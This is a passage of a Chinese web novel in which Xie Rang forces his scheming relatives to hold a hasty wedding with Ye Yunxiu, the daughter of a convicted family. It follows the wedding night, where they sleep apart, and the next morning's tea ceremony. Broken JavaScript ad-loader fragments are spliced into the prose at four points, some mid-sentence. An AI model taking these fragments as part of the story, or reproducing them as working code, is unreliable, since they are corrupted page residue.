他说完转身出去,谢寄在身后阴恻恻地说道:“谢让,你可别忘了,叶家女如今可是戴罪之身!” 谢让脚步一顿,扭头问道:“三叔是在威胁我?三叔大可以试试,若有人去官府告发,我敢不敢拉几个垫背的。一笔写不出两个谢字,谁也别想撇清干系,要死大家一起死。” 说完他大步流星离开。 继一大早主院老太太摔了一整套茶盏之后,谢寄又在大房屋里摔了两个。 谢寄夫妻气冲冲走后,谢诚挥手打发掉谢谅,支吾半天说道:“母亲,要不……那叶氏女换我来娶?” 崔氏惊得眼睛一瞪,像被人捏住脖子的鸡,瞪着谢诚一时竟没缓过气来。 “嗐,我也不为别的,这不是……事情僵起来,不好收场了么,我也是想为家里分忧……”谢诚期期艾艾道, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我是谢家的嫡长孙,是他谢让的兄长,若换我来娶,也能给足叶家脸面,长幼有序,他谢让还能有什么说的……” “呸!”崔氏一口唾沫吐到谢诚脸上,指着谢诚骂道,“你这是胡说八道什么呢,你是谢家的嫡长孙,是要读书科举的人,重振谢家门楣的希望可全都在你身上呢,你怎么能娶一个戴罪之身、毫无助益的女子呢!” “反正萧家的婚事也退了……”谢诚嚅嚅。 谢诚原本也有一桩世家高门的婚约,谢家一倒,对方就赶紧退了婚。 崔氏拍着胸口顺气,指着谢诚:“你给我趁早收了这心思吧,那叶家女是什么身份,只要你争气,将来像你祖父那样,读书科举、考上状元,满京城的高门贵女还不任你挑拣,你想要什么样的女子没有?可别胡想八想了。” 谢诚垂头不再吱声了。 崔氏猛灌了一口冷茶,气得骂道:“这叶家女还真是个祸害,她要不来,哪来的这些事情!” ………… 谢让心里透亮,谢寄敢提出这种主意,背后必然有祖母的话。 在这个家里,谢寄两口子就是老王氏肚里的蛔虫,两个十分好用的狗腿子。 他大吵一架离开,回到暂住的倒座房,生完了气,才想起昨日跟表弟说了今天要去外祖父那边。 怕老人担心记挂,只好又匆匆跑了一趟。外祖周家倒不远,就在本镇,来回也就两三里路,安顿好外祖父那边,回到谢宅,便已经斜阳西挂了。 回到自家小院,叶云岫和谢凤宁正坐在一起,还生了火盆,岁月安闲,谢凤宁裁了他上午买来的布给叶云岫做衣裳,叶云岫就一手托腮,坐在旁边看着。 “叶姐姐,你病着呢,你回床上躺着。”谢凤宁一抬头,见到谢让进来,笑道,“二哥,你一天天的忙什么呢,一整天都逮不到人。” “逮我干什么,我又不是兔子。”谢让笑,两个小姑娘忍不住也笑了起来。 “今晚你们两个一起用饭吧,我从外祖父家带了些菜回来,凤宁你看着做。四叔四婶来了,我得去主院那边。”谢让道。 每次谢宸和范氏夫妇回来,惯例是要去主院一起用晚饭的,想来今晚的晚饭恐怕吃不安生。 谢凤宁点点头,她本来也不想去。 留下谢凤宁和叶云岫两人吃饭,谢让自己大大方方去了主院。一进门谢寄就阴沉着脸瞪他,你还敢来? 谢让逐一见了礼,坦然去座上坐了,他又没做亏心事,有什么不敢来的。 崔氏和小王氏张罗饭菜,范氏是决计不肯伸手的,心安理得坐那儿等着人伺候。她十天半月肯回祖宅吃顿饭,就已经觉得是赏脸了。 所以恶人还得恶人磨,范氏跋扈高傲,尤其如今谢家没落,谢宸成了吃软饭的,范氏就越发不拿老王氏这个婆婆当回事了。 想当初,老王氏拿捏儿媳妇的法子层出不穷,尤其瞧不上早年娶的两房出身低的儿媳,大房那一堆庶子庶女,还有谢让那两个庶弟庶妹,就是这么来的。范氏刚嫁进来时新媳妇脸皮薄,也没少吃亏,如今这样又能怪谁呢。 谢让认真给谢宸和范氏行了礼,哄着范氏六岁的儿子谢识玩了会儿,范氏果然露出笑意。 谢让安心吃了一顿饭,等饭后丫鬟撤了桌子,长辈们移到正厅喝茶,才起身一揖,恭敬有礼地说道:“祖母,大伯母,叔叔、婶婶,趁着各位长辈都在,孙儿有件事情想说。” 老王氏掀着眼皮子看他:“你又什么事?” 谢让:“孙儿想问问,我和叶家姑娘的婚礼该如何安排?各位长辈也都明白,这事拖不得,夜长梦多,万一有什么变故,牵连的也是咱们谢家。” 堂上顿时一静。 谢让躬身说道:“所以孙儿想着,就这两天办了吧,还得烦请各位长辈帮我操操心。” 8. 第 8 章 “谢让,你放肆!” 谢寄跳起来骂道,“那叶家女到底给你吃了什么迷魂药,有道是人往高处走,水往低处流,早前他叶家家世就不如咱们谢家,如今更是抄家灭族的罪,人家孙家是何等富贵,家财万贯,娶了孙家姑娘对咱们谢家得有多大的助益……你说你脑子里到底什么毛病!” 谢让一哂:“三叔此言,有辱斯文。” 谢寄气结,指着谢让气得手发抖,见无人帮腔,扭头冲着谢宸道:“老四,你好歹也说句话吧?” “三哥……”谢宸嚅嚅,顿了顿转向谢让开口道,“谢让,这个事情,你三叔说得也有道理……” “哦,你也这么想?”范氏莞然一笑,笑吟吟地看向谢宸,“还请夫君仔细跟妾身说说,妾身愚钝,不大明白这个道理。” “娘子……” 谢宸眼角直抽抽。 范氏脸色一变,嗤声笑道:“谢宸,原来你也是这么想的呀。要这么说,我是不是早该跟你和离了?还有你们家大姑娘,你们也不想想她在广平伯府的日子,我可好心提醒你们一句,广平伯府就不是那么好糊弄的人家。” 谢宸顿时涨红了一张面皮,指着范氏:“你……” “我怎么?”范氏嗤笑,“我不敬夫君,不孝不贤,枉为人妇,夫君赶紧休了我呀?” 没人说话了。 半晌,老王氏咬牙切齿的声音问道:“让哥儿,你这是,铁了心了?” 谢让躬身,端端正正行了个揖礼:“禀祖母,孙儿无非是遵从祖父遗愿。” 老王氏半晌重重喘出一口气,开口道:“老大家的,你当家,这事你操办吧。” “是。”崔氏答应着,顿了顿转向谢让,讪笑道,“让哥儿,家里的情形,你也知道的,养着几十口子人呢,都快揭不开锅了……” 谢让不接话,就恭敬立在那儿等着。 “再说了,这冷不丁一下子,也张罗不起来呀,这事情哪里急得来,别说我们这样的大户人家,便是草头百姓,这婚宴、喜房、花轿、还有婚服……没个三两月,谁家能准备得来呀,别的不说,请个木匠打新床,怎么也得十天半月呢……”崔氏掰着手指头数。 “侄儿也没想大操大办。”谢让道,“婚房用我现在的屋子就好,但是能否请大伯母给隔壁燕容、燕娴两位妹妹换个住处,把中间的围墙拆了,那边两间屋并进来给我,不然我也实在住不下。” 崔氏答应了,这两个是他们大房的庶女,横竖她说了算。 “婚宴无所谓,我没打算宴客,婚床也不打了吧,只是这婚服,侄儿年轻不太懂,还得麻烦大伯母。” 崔氏满脸为难的讪笑:“这婚服……让哥儿啊,这次真不是大伯母推诿,你也知道的,这婚服,大红布料本来就贵,就算买了布,那也不是一半天工夫就能做出来的呀……” 范氏嘲讽道:“不就是一套婚服么,当真能让大嫂这般为难?让哥儿,你是个有仁义的,四婶别的用处没有,这婚服四婶管了,明日就叫人给你送来。” 谢让一揖:“多谢四婶,侄儿铭记在心。” “夫君,那我们就先回去吧,左右在这儿也是生闲气,别耽误了让哥儿的喜事。”范氏起身就走,谢宸冲老王氏告了个退,灰溜溜追了出去。 谢让趁机也跟着走了。 第二天,隔壁谢燕容、谢燕娴就搬走了。两姐妹是一母所出,生母原先很受谢宗宠爱,四年前抄家被发卖,两姐妹就被崔氏扔到谢宅最西北的角落来,如今谢让提出来,崔氏只能捏着鼻子把两姐妹搬到自己的亲女儿谢凤鸣的院子里。 谢让当天下午就带了几个族兄弟把屋子里里外外打扫干净,拆了院子中间的墙,仔细收拾一下。谢凤宁还住西边那间,中间他原先住的那间留作堂屋,东边两间改个门打通成里外间,用来做婚房。 下午范氏果然叫人把婚服送来了,包括盖头,一同送来的还有一盒子绢花首饰,虽然不算贵重,却都是鲜亮喜庆的颜色样式。 婚服送到前院,谢让拿进来,谢凤宁高兴地拉着他试穿。 虽然时间仓促,从范氏手中送出来的东西却也不会差了,都是上好的料子,针线做工倒不像临时赶制出来的,估计是哪里拿来现成的或者买的成衣。 谢让试了一下,心中满意,拿着新娘的婚服去找叶云岫。 就问谁成婚这么仓促呀,这两天忙的,他甚至都没顾上跟叶云岫细说,就把事情都定下了。 因为今日外头有人来收拾房子、搬东西,叶云岫一直便躲在屋里,天冷她就窝在床上,谢让抱着婚服进去,小姑娘拥着被子,抬眸看他。 “起来试试衣裳。” 看着手中大红的婚服,谢让不禁有点不自然,轻咳一声,把婚服展开来搭在床尾。 叶云岫掀开被子下了床,走到他身边,看着精美繁复的婚服颇有些好奇,看了看,摸着鼻子问他:“这怎么穿?” “……”谢让顿了一下,他难不成看起来,很会穿女子的衣服? 张口就想叫凤宁来,转念又作罢了,凤宁也不过是个十几岁的未婚女孩儿家,再说两人还有些话要说,凤宁来了也不方便。 好在婚服的样式无非那样,宽袍大袖,谢让拿起来研究一番,展开让她伸上袖子,等她穿好,端详了一下。 “我请人看了日子,明天冬月十六,宜嫁娶。过了明天,就得再等个几天了。”谢让停了停,商量的语气小声问道,“要不,就明天吧?” 叶云岫点点头,不太经意的样子,似乎也不是什么大事。 谢让松口气,迟疑一下温声道:“你有没有什么想跟我说的,或者还有没有别的要求?” 叶云岫摆弄着婚服上的云肩,闻言抬头看他,软软绵绵的声音一脸无辜道:“我没什么要求啊,你不是说,情势所迫,我没及笄,权宜之计吗?” ……也是。 她倒是淡定,却显得是他有点紧张了。 谢让不禁自己笑了下,问道:“你要是没有其他要求,那我就都做主安排了?” 叶云岫依旧点着小脑袋:“你都安排吧,我听你的,反正我也不懂。” 正合他意。刚才进来时他明明是有很多话要说,这会儿却又觉着也没什么要说的了,他忙得脚不沾地,赶紧忙去。 “那好。你先别脱,衣服有点肥了,我叫人来改一下。” 谢让叫来杨姨娘,把改婚服的针线活交给了她。 冬月十六,宜嫁娶,白石镇谢家办了一桩喜事。没有花轿,没有宾客,没有迎亲仪仗,没有嫁妆也没有聘礼,宗族来的鼓乐班子倒是格外热闹,谢让请了外祖父主婚、堂祖父谢仲做司礼,一对新人就在小院里拜堂成亲。 虽说不宴客,谢家这样的人家好歹不能把脸面全丢掉不要了,崔氏张罗了三桌酒席,两桌是家宴,摆在主院那边,也不知长辈们吃得是否开心。还有一桌谢让招待外祖父和堂祖父谢仲,连同这两天帮忙干活的几个族兄弟。 结果外祖父喝醉了,谢仲也喝得有点多,谢仲叫几个族兄送走了,谢让扶着外祖父送出门,叮嘱周元明路上把外祖父照看好。 “知道了,表哥你放心吧,你回去吧。”周元明挥挥手,笑嘻嘻道,“你今天是新郎官,洞房花烛夜,快回去吧。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>谢让目送外祖父和表弟离开,明月如盘,今晚的月色格外好,月光下祖孙二人的身影渐渐远了。 谢让伫立片刻,背着两手怡然自在地走回去。 他还得回去把新娘喂饱。晚饭凤宁被叫去主院一起吃了,作为新娘子,叶云岫哪儿也不能去,就只能一直端坐喜床上,饭都还没吃上呢。 尘埃落定,小院里一片安闲静谧,东屋窗子的红色烛光透出暖意。谢让进去时瞅了一眼西屋,凤宁是个鬼机灵,这会儿屋里已经早早熄灯了。谢让去厨房热好饭菜,端着进了东屋。 他踏进这间简陋的婚房,讶然看到他刚娶的小新娘已经自己揭掉盖头,正甩着两手,在屋里来回踱步活动手脚。她今日被人仔细打扮过了,大红婚服浓烈似火,盘着同心髻,髻上插着几朵绢花,脸蛋似乎还擦了胭脂,整个人稚气未脱,却又美得娇妍夺目。 谢让这一整天,听得最多的就是别人跟他夸赞新娘子漂亮了。 见他进来,叶云岫小脸上漾出几分欣喜,不过眼睛明显是在他手中的托盘上。她早就饿了。 谢让看了一眼桌上摆着的秤杆:“你自己把盖头揭了?” “嗯。”叶云岫无辜点头,“不行的吗,那要不……我再盖上?” 谢让哑然失笑,放下托盘叫她:“行了,吃饭了。” “噢。”她走到桌边坐下,一脸乖巧地等着吃饭。 托盘上两个碟子,一碟热乎的白馒头,另一碟里装的是菜,几片藕、一筷子白菜、几片香煎豆腐、两块肉、小半个咸鸭蛋……放在蒸笼里热过了,好几样放在一起,闻起来格外的香。 “开席前我给你留的,干净的。”谢让把筷子递给她,又给她倒了热茶,自己也随手倒了一杯。 这些菜对叶云岫来说都很新奇,她统共穿过来没几天,头一回一下子吃到这么多样菜,于是筷子先奔着碟子里看起来红亮诱人的肉块去了,一口咬下去,软糯肥嫩的肉香在口腔中扩散,立刻惊奇了所有的味蕾。 小姑娘细细地咀嚼品味,眼睛亮晶晶的看着谢让:“这是什么,好吃。” 谢让没往别处想,笑道:“这是炖肉啊,和萝卜一起炖的,你们江南吃食.精细,是不是没吃过这样大块炖煮的做法?” “我以前没吃过。”她说。 这是她第一次吃肉。 从她穿来以后,净慈庵每天吃的就只有稀粥,接着又吃药忌口,忌荤腥生冷,所以她这几日的饮食都比较清淡单一。 至于她以前……末世的地球家园,已经生不出能够安全食用的动植物了。战争、病毒、大海啸、各种灾害,水生物最先开始变异…… 这个食物太美妙了。叶云岫依依不舍地咽下去,筷子又奔着剩下的那块肉去了。 可惜一共就只有两块,一下子就吃光了。她只能遗憾地夹起旁边的萝卜,萝卜炖得浸透了肉汁,也是香香软软的,好吃。 谢让看着小姑娘吃得一脸专注,不自觉地嘴角上扬。 “饿坏了吧?” “嗯……”叶云岫点头,咽下口中的食物诉苦,“我天刚亮就被叫起来了,好几个妇人围着我梳头打扮,从早到晚就只吃了四个煮熟的鸡蛋,还不许我多喝水……” 谢让说那几个也是同族的长辈,谢家别的不多,就是长辈管够,估计她一时半会也分不清谁和谁,下次见了一律叫婶婶就行了。 见她吃那么香,谢让随意闲聊道:“你慢慢吃,晚上也别吃太饱了。大伯母真是精打细算,席上一共四个荤菜,一条鱼、萝卜炖肉、四喜丸子和一只鸡,别的菜都不能动,动了就看出来了,我就只给你留了两块肉。” 9. 第 9 章 忙碌一天,看着小姑娘吃饭心情也闲适起来。她吃东西很有耐心,慢慢悠悠,细细品味,每一样都很仔细,似乎在珍视对待每一种食物。 她一边吃,谢让就一边闲聊地跟她说一些谢家的事情,好叫她心中有数。 “我们明天一早,要去拜见你家的长辈?”叶云岫问。 “对,这个躲不掉。”谢让说,“要给长辈敬茶,然后还要去拜祠堂。” 小姑娘默默拨弄着碟子里的菜不吱声。谢让看出她的为难,安抚道:“没关系,我知道你有点怕生,有我呢。” 叶云岫默然。 她其实不是怕生啊。 末世那样的环境中,她的父母都没能生存下来,她那时才几个月大,被养父带走抚养。人类在外面已经无法生存,幸存者全部集中到人类基地……为了人类的曙光,养父坚守在城市废墟中的孤岛,他要负责采集病毒和生物变异样本。废弃的城市空寂杂乱,没有邻居、没有玩伴,养父脾气有些怪,有时兴致勃勃给她读书唱歌讲故事,有时一整天都不说一句话。 叶云岫心中轻叹,她实在是,没有与人相处的经验。 况且生来乍到,她在这里什么都不懂。 叶云岫迟疑了一下,望着谢让:“我有一件事情要跟你说。” “?”谢让询问的眼神,停了停耐心问道,“什么事情?” 叶云岫缓缓说道:“我生病之后,忘了很多事情。” “忘了很多事情?”谢让蹙眉,旋即微笑安慰她,“你受了那么大的惊吓,人太害怕了,可能就会忘掉一些事情,这也难免的。这几日忙过去,我们请个郎中好好给你调养身体,不用担心,会好起来的。” “不光是遇到流寇的事情。”叶云岫说,“很多事情我都想不起来了,我甚至不记得自己从哪里来的,又是怎么到的净慈庵里,我都想不起来了。” 她顿了顿,看着他的眼睛认真强调,“就好像,我把以前的事情都给忘了,病傻了,脑袋是空壳的,我这么说你明白了吗?比如明天要去见你的家人长辈,我也不知道我该说什么,该怎么做,我本来就不喜欢说话。” 谢让的眉头深深锁起,下意识地伸手去摸她的额头,触及她光洁温热的额头后才微微一怔,收回手来。 他温声安慰道:“其实我也不懂。就算你没忘记事情,我们两个都没有亲近的父母长辈在身边,这些事无人教导,也是没法子。往后你就知道了,我的那些个长辈,不算是什么好相处的人,你年纪小,又刚过门,平日里你尽量躲着他们,万一有什么事情你就往我身上推。” 叶云岫点点头,表情纠结一下:“那你不要告诉别人,我怕人家欺负我。” “知道,我告诉别人做什么。”谢让站起身,轻轻拍了下她的发髻笑道,“行了,赶紧收拾睡吧,这都大半夜了,明日还得早起呢。等把明日的事情应付过去,我就带你去看郎中。” 他起身出去,等他拎着一壶热水回来,却见叶云岫依旧坐在椅子上,黑漆漆的眸子映着点点烛光,仰脸望着他。 “怎么了?”谢让放下水壶。 “我们,要睡在一起吗?”叶云岫问。 谢让:“……” 停了停,他轻咳一声,笑道:“你这么问,是想说什么吗?” “我不懂啊,”叶云岫说,“所以才要问你。” “我知道了。”谢让说,“我的床有多大,我再清楚不过了,你先睡吧。今晚是不行了,我先打个地铺,明天我把前边倒座房的卧榻搬来。” 小姑娘乖乖巧巧地点着小脑袋,一脸听话的样子,笑眯眯拎起水壶进去洗漱了。 谢让看着她进去,失笑摇了摇头,一时说不清心中作何感想。她比凤宁还小了几个月,怎么感觉……比养妹妹还麻烦。 谢让自己就去厨房洗漱了一下,有心回避某种尴尬,他刻意磨叽了一会儿,琢磨着她应当已经睡下了,才抱着一捆东西进去。 叶云岫居然还没睡,红烛高照,她散开了头发,裹着被子,靠着枕头安静地看他。 谢让动手把抱着的东西铺在床边地上,原来是卷在一起的、蒲草编成的垫子,平常铺在床上的。 叶云岫笑了一下说:“这个好,我还担心地上冷呢,你再铺个厚的褥子。” “担心我冷?这么有良心啊。” 谢让含笑铺好被褥,走到床前,伸手帮她把床帐放了下来。帐幔低垂,隔开一方小天地,他自顾自脱了外袍,躺下睡了。 “你不吹灯吗?”帐子里小姑娘问。 谢让瞅了一眼两支烛光摇曳的龙凤花烛,懒洋洋打了个哈欠,闭上眼睛道:“不能的,就是要彻夜亮着,让它自己燃尽。” 似乎一闭眼天就亮了,谢让努力清醒了一下,披衣起来,瞥见桌上的龙凤烛一支几乎就要燃尽了,另一支还剩下寸许。他站了站,便按照昨日几位婶婶们交代的,去拿了一把扇子,等到那支燃尽,抬手把剩下一只也扇灭了。 谢让穿好外袍,动手先把自己的被褥叠好,掀开帐幔,床上的小新娘却依旧睡得香甜。 “醒醒,起来了。”谢让叫了一声,等了等还没反应,索性隔着被子拍拍她,温声道,“得起来了。” 被子里的人动了一下,谢让便不在管她,把地上的被褥抱到床尾,弯腰把蒲草垫子卷起来,拿了出去。 等他洗漱完毕再进来时,却见叶云岫拥着被子坐在床上,眉头紧锁,面色郁悒,整个人肉眼可见的怨念。 谢让心里还真咯噔了一下,忙走过去,低声问道:“怎么了?身子又不舒服?” “别管我!”小姑娘屈膝坐起,胳膊抱着膝盖,把头趴在胳膊上不说话了。 谢让一时有些无奈了。人生破天荒头一回,他还真没有这个经验,刚娶进门的小新娘,新婚次日一大早就生气,还不知道因为什么,这可叫他怎么办呀! 谢让不无担忧地陪在床边站了片刻,见她一直也没有别的表示,想了想小声哄道:“你到底怎么了?……要不,咱们先想想,今早吃什么?” 小新娘慢吞吞抬起头来,歪头趴在膝盖上:“面条?” “面条……不行。”谢让道,“我想起来了,昨儿也不知谁跟我说的,新婚第二日早晨要吃鸡蛋,红糖水荷包蛋。” “唔,”小新娘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 含混地答应一声,揉揉眼睛闷声道,“那你先去忙,别管我,我一会儿起来。” 谢让只好先出去,谢凤宁已经起床了,见了他小小声问道:“二哥,二嫂起来了吗?” 谢让因为二嫂这个词愣怔一下,笑道:“这就起来了。” 兄妹两个一起进了厨房忙碌,果然没多会儿,叶云岫穿好衣服从房里出来了,谢让便给她热水叫她洗漱。他煮好三碗荷包蛋放进托盘,交给凤宁端走,进屋去叫叶云岫吃饭。 他进去一看,叶云岫拿个梳子又在扯头发,一脸的懊恼。谢让赶紧接过梳子,给她挽了个比较端庄的螺髻,挑了一支粉色绢花的发簪固定住。 谢让心里叹气,两人成婚,他竟也没给她添置什么首饰,这绢花发簪还是范氏一起送来的。权宜之计,还真是权宜到家了。 饭后二人连同谢凤宁一起出了门,径直去往主院。一进垂花门,四叔家的小堂弟谢识正在院里玩,瞧见他们跑了过来,仰头好奇地看着叶云岫,笑嘻嘻问:“三堂兄,这是新嫂嫂吗?” 谢让含笑说是,又跟叶云岫介绍谢识。 “新嫂嫂真好看。”谢识小声告诉谢让,“三堂兄,祖母又病了。” “祖母又病了?”谢让摸摸他的头说,“可真是巧,你新嫂嫂也病着呢,都病了这些日子了。天气太冷,你也别乱跑了,回屋里暖和。” 他说着,一手拉着谢识,一手扶着叶云岫,带着她一起走进正厅。 叶云岫这会儿真切感受到了他所说的谢家“人口复杂”。该来的都来了,只有主位空着,济济一堂,各房长辈坐着,小辈们站着,姨娘们则只能在下边伺候着,大大小小一堆人,见他们进来,所有人的视线全都落在叶云岫身上。 大伯母捏着帕子笑道:“哎呦,今儿可算是见着让哥儿媳妇了,也难怪让哥儿这么上心,你们瞧瞧,可真是个娇滴滴的美人儿,谁瞧着不得迷上呀。” 这话明着是夸人,可言下之意,在座的大约没有人听不出来,不就是想说谢让色迷心窍、说叶云岫狐媚祸水吗。 唯独叶云岫听不出来。叶云岫被谢让扶着,心有默契,便越发装出几分病弱,默然不语,眼皮都没多抬一下。 至于谢让,神色丝毫未变,面上依旧端着温和有礼的笑容。 小王氏附和道:“可不是,早就听说江南出美女,三侄媳不愧是江南大户人家养出来的千金小姐,让哥儿啊,你可好好待她,我瞧着三侄媳可不像个能吃苦的样子,偏偏还长得这么漂亮。” 言下之意,长成这样,能安心跟着你过苦日子吗?可别不安于室。 然而叶云岫听不懂啊,更懒得费心思,充耳不闻,全然置身事外,病恹恹地靠在谢让身上装木头人。任你有九曲十八弯,磨破嘴皮子,对她来说也起不到任何效果,反正谢让都说了有他呢。 谢让眸光微闪,正打算怼回去,旁边坐着的范氏却已经噗嗤笑道:“大嫂和三弟妹说的对,我瞧着,要论人才相貌,他们小两口确确实实是咱们这一大家子里最出色的了。” 说完,还刻意往崔氏和小王氏身后那一堆嫡子嫡女、庶子庶女身上多瞅了两眼。 10. 第 10 章 要不说小王氏道行浅呢,登时脸上就挂不住了。毕竟旁边站着她大儿子,确实丑。 崔氏则扯着脸皮强笑转移话题:“让哥儿啊,今日真是不巧,你祖母病倒了,老太太昨日忽然病重,大喜的日子怕扫你们的兴,也没敢跟你们讲,这会儿还没起来呢。” 谢让一脸关切道:“祖母自从入了秋,身子就一直不好,实在叫人担心。我寻思着,也不能一直这么拖着,大伯母要不去陵州城里请个名医来给祖母瞧瞧?” 陵州城的名医不要钱的么!崔氏赶紧又转移了话题:“也请了郎中的,先不说这些,让哥儿啊,要不你们就先敬茶吧?” “是。”谢让一揖,“只是……大伯母都瞧见了,新妇也病着呢,一路奔波劳顿加上风寒,侄儿拿不准该不该让她进去拜见祖母,万一过了病气给祖母,冲撞祖母病体,侄儿这罪过可就大了。” 谢让躬身一揖,“所以,还得请各位长辈示下。” 这个主谁敢做,万一明天老王氏病得不好了呢?崔氏无奈,只好进去问问老王氏自己的意思。很快正房传出话来,老王氏说不必进去了。 “孙儿遵命。那孙儿和新妇改日再来给祖母请安,愿祖母病体安康。” 于是谢让示意丫鬟送上茶来,两人端着挨个敬茶,又认了一堆堂兄弟姐妹。 一场大戏唱下来,光听见几个婶婶唇枪舌剑了,谢寄全程冷脸,却也没人理他,谢宸则坐在范氏身边当木头桩子。 各房按规矩给了红封,谢让接过来道了谢,便扶着叶云岫告退。 刚一离开主院,谢凤宁就忿忿说道:“这些人也太过分了!” “凤宁!”谢让告诫地轻斥。 三人默默回到自家小院,一进门谢凤宁就气哼哼说道:“我最讨厌大伯母了,整天阴阳怪气的,还有三婶,这些人整天满嘴的脸面脸面,叫我说,最不要脸的就是他们了,哪里还有长辈的样子!” 骂完了又觉得不妥,挽着叶云岫的手说,“二嫂,你别生气,不要理他们。” “嗯。”叶云岫顺从地点头答应着。 她是搞不明白那么多弯弯绕绕,但是一个人是善意恶意,却不难感知。 “行啦,少生这种闲气。”谢让安抚地拍了下妹妹的后脑,笑道,“你呀,还是沉不住气,有什么事情也不要挂在脸上,规矩礼仪别让人拿住错处。” 这世道,孝道二字压死人,他敢在婚事上公然对抗祖母和三叔他们,那也是扛着祖父的旗号,在这个家里,毕竟还没有人能越过了祖父去,祖母也不行。 谢凤宁心虚噘嘴。 谢让嘱咐道:“接下来这几日,你怕要辛苦些,每日跟我一起去晨昏定省,给祖母问安,免得落人话柄。侍疾的差事不要往身上揽,我们是孙辈,你年纪又小,侍疾自然有大伯母和三叔三婶他们。” “那我要去吗?”叶云岫问。 “你不去,也不要出去,老实呆在院里养病。”谢让道。她是新妇,又病着,刚一进门祖母就传出病重,人家有心拿捏她,若一口咬定是她“不吉冲撞”,给她扣个屎盆子,他们能怎么办? 所以谢让心下暗暗决定,接下来至少半个月内,决计不能让叶云岫跟老王氏见面。除非必要,都不要让叶云岫出去走动了。 本来他还打算带她去四婶那里拜望一下,多拉个帮手,可如今看来先缓一缓吧。反正范氏那个身份性情,大约也未必有心护着他们,她纯粹就是目下无尘,心有不快,成心给老王氏和崔氏她们找不痛快罢了。 于是谢让背着叶云岫从西角门出了门,去到祠堂,按规矩拜祭过后,又一路背着她回来了。 这么一趟走下来,镇上许多人也都知道谢家刚过门的新妇疾病缠身,病得很重,眼下只能好好在家养着。 叶云岫也乐得回屋去躺着了。天这么冷,外面一个人都不认识,她是傻瓜才要出去。 只是这么一来,叶云岫在小院里养得像个废人,做饭她也不会,针线活她也不行,并且谢凤宁认定她“有病”,什么事情也不让她做,只叫她躺着等吃。 午饭兄妹俩做了醋溜白菜、炖豆腐和烙得焦香酥脆的麦饼,小米汤,吃过饭谢让就有事出去了。 谢凤宁拿着火钳,从灶膛底下掏出几块红通通的木头,烧锅时特意留着没烧尽,沤了烟的,放到火盆里端进堂屋。她这两天主要忙着给叶云岫缝制衣服鞋袜,叶云岫就坐在一旁,无聊地看着凤宁飞针走线。 叶云岫颇有些神奇,眼前这个“小姑子”跟她一般年纪,可是什么都会,不光会做饭、会做衣服,还能在衣服上绣出漂亮的花样来。 谢凤宁记得对哥哥的承诺,知道新嫂子不爱说话,便一边做针线,一边絮絮叨叨地跟她说一些家里的事情,比如祖母老王氏其实也没什么大病,三分病七分装,一不如意就要病上几天。她是胆石症,郎中交代要饮食清淡,少用肥甘膏粱之物,可老太太最知道享受了,亏谁也不能亏着她自己,尤其爱吃肉和甜食,孝道当头,家中子孙哪怕饿肚子,也得先供养老太太好吃好喝。所以这病,隔三差五就要犯一犯。 又提起杨姨娘和那两个庶弟、庶妹,杨姨娘原是投奔谢家的落魄远亲,被塞给谢宏做了良妾。父亲发配、母亲病逝时,谢让曾做主替父放妾,她自己因为有了谢询不愿意走。 而谢燕真的生母是奴籍贱妾,抄家时被发卖了,谢燕真便由杨姨娘抚养。 杨姨娘的心思,大约是指望着哪天谢宏放回来,能把她扶正,所以一不小心就会露出“二房当家主妇”的尾巴。不过她不是个蠢人,发现谢让兄妹不好拿捏,也就不敢轻易越界,敲打一下能知道分寸。 “你为什么叫他二哥,别的人却叫他三堂兄?”叶云岫听半天问了一句。 “二哥在堂兄弟之中行三。”谢凤宁道,“我们上头还有一个嫡亲兄长,就是我大哥,可说是郎才绝艳,十岁就考了秀才,可惜自幼体弱多病,十三岁染了一场风寒就没了。” “大哥去世后,要送回老家归葬,按规矩得有人扶灵,长辈们不太合适,其实当时最合适的人是大堂兄,可大堂兄是谢家倍受重视的嫡长孙,谁敢叫他吃这个辛苦。那时二哥才刚刚十岁,无奈就只有他带着两名家仆,千里迢迢从京城扶棺归乡。” “谁知二哥安葬了大哥之后,说想在老家闭门读书,就不回去了,他自己在这宅子里住了将近三年,就只有一个看守宅子的老仆做伴,平日还去跟外祖父种田种菜,一直到父母几次写信催促,才答应返回京城。” “他一个人,一路上游游逛逛又走了大半年才到,结果他回到京城家中的第二年,谢家就抄家流放了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 谢凤宁一声叹息,怅然道:“二哥长这么大,旁人眼里官宦富贵的小公子,实在也没过过几天好日子。” “如今你看看,这家里一个个高高在上,身份都是放不下的,里里外外的粗活杂事,田里的事情,也只有二哥最懂,还不都是二哥担着,合着就该他辛苦挨累。” 谢凤宁越说越生气,哼了一声,恨恨地把手中的针插在布上,拿了火钳去拨弄盆中的火炭。 晚些时候谢让从外边回来,先进来说了一声,叫两个女孩儿回避一下,谢凤宁和叶云岫便起身回自己房里。 谢让带着两个村汉模样的帮手,搬了一张卧榻进来,三人把卧榻先放在堂屋门口,接着又合力搬进来两口大缸。 两人搬好了东西离开,过了会儿,谢让自己又背着一大捆劈好的木柴进来。 叶云岫坐在屋里,便只见他来来回回,跟个骆驼似的一趟趟往院里搬东西,一连背了四五趟木柴才作罢,整理了一下衣裳,走进屋里,拎起她旁边桌上的茶壶自己倒茶喝。 “你在忙什么呀?”叶云岫好奇地仰头问他。 “我还能忙什么,一日三餐,柴米油盐。我这人呀,就是个胸无大志的。”谢让几口喝光杯中的茶水,又倒了一杯,笑道,“刚才我在街上买了一斤板油,家里还有外公给我的干菜,晚上包猪油干菜包子吃。” 叶云岫哪知道板油是什么,反正是猪身上的吧,心中无比怀念昨晚那两块红烧肉,仰着小脸问道:“就是猪肉吗?” “板油……不是猪肉,”谢让笑,看着她孩童一样稚气的神情,解释道,“板油都是肥的,用来熬猪油,干菜包子得用猪油才好吃。” 叶云岫点点头,真心夸了一句:“你懂的真多。” “这算什么,这就懂得多了?”谢让失笑。想来江南大户人家的女孩儿,怕是连猪都没见过的,再说她如今病着呢,懵懵懂懂,着实可爱。 